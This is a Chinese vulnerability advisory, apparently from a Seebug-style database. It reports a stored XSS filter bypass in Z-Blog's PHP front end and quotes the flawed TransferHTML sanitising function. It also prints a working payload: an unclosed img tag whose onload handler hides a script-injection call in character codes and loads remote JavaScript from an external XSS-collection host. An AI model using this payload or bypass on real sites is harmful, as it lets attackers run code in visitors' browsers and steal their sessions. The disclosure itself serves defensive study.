Z-Blog的PHP版前台存储型XSS漏洞一

基本字段

漏洞编号:
SSV-96199
披露/发现时间:
2013-09-24
提交时间:
2013-09-24
漏洞等级:
漏洞类别:
其他类型
影响组件:
Z-Blog
漏洞作者:
只发通用型
提交者:
Knownsec
CVE-ID:
补充
CNNVD-ID:
补充
CNVD-ID:
补充
ZoomEye Dork:
补充

来源

漏洞详情

贡献者 Knownsec 共获得  0KB

简要描述:

看到你们内测的消息我就屁颠屁颠地跑过来了,花了两个通宵看代码发现几处漏洞.. 这里先绕过了你们XSS过滤脚本..

详细说明:

问题出在 /zb_system/function/c_system_common.php

function TransferHTML($source,$para){
    if(strpos($para, '[nohtml]')!==false){
        $source=preg_replace("/<([^<>]*)>/si","",$source);
    }
    if(strpos($para, '[noscript]')!==false){
        $source=preg_replace("/<(script.*?)>(.*?)<(script.*?)>/si","",$source);
        $source=preg_replace("/<(?script.*?)>/si","",$source); 
        $source=preg_replace("/javascript/si","",$source);
        $source=preg_replace("/vbscript/si","",$source);
        $source=preg_replace("/on([a-z]+)*=/si","on\=",$source);
    }
    if(strpos($para, '[enter]')!==false){
        $source=str_replace("","<br/>",$source);
        $source=str_replace("","<br/>",$source);
        $source=str_replace("","<br/>",$source);
        $source=preg_replace("/(
)+/", "<br/>", $source);
    }
    if(strpos($para, '[noenter]')!==false){
        $source=str_replace("","",$source);
        $source=str_replace("","",$source);
        $source=str_replace("","",$source);
    }
    if(strpos($para, '[filename]')!==false){
        $source=str_replace(array("/","#","$","\",":","?","*","","<",">","|"," "),array(""),$source);
    }
    if(strpos($para, '[normalname]')!==false){
        $source=str_replace(array("#","$","(",")","*","+","[","]","{","}","?","\","^","|",":","'","",";","@","~","=","%","&"),array(""),$source);
    }
    return $source;
}

XSS过滤函数,看上去是很安全,可是可是 这个正则有个问题,他判断是XSS成立的条件是<>两个存在script,javascript,vbscript.onxxxx…but…开发似乎不知道,img标签是可以不闭合<>,浏览器会帮你闭合的这个特性,更多详情 请看http://drops.wooyun.org/tips/147 插入XSS代码

<img/src=http://www.baidu.com/img/baidu_sylogo1.gif onload=(function(){window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(104,116,116,112,58,47,47,105,120,115,115,46,105,110,47,47,122,83,106,109,68,65,63,49,51,55,57,57,57,50,51,55,57);document.body.appendChild(window.s)})()

不闭合img标签,成功绕过

1.jpg

2.jpg

漏洞证明:

1.jpg

2.jpg

共 0  兑换了

PoC

暂无 PoC

参考链接

解决方案

临时解决方案

暂无临时解决方案

官方解决方案

暂无官方解决方案

防护方案

暂无防护方案

人气 1028
评论前需绑定手机 现在绑定

暂无评论

※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负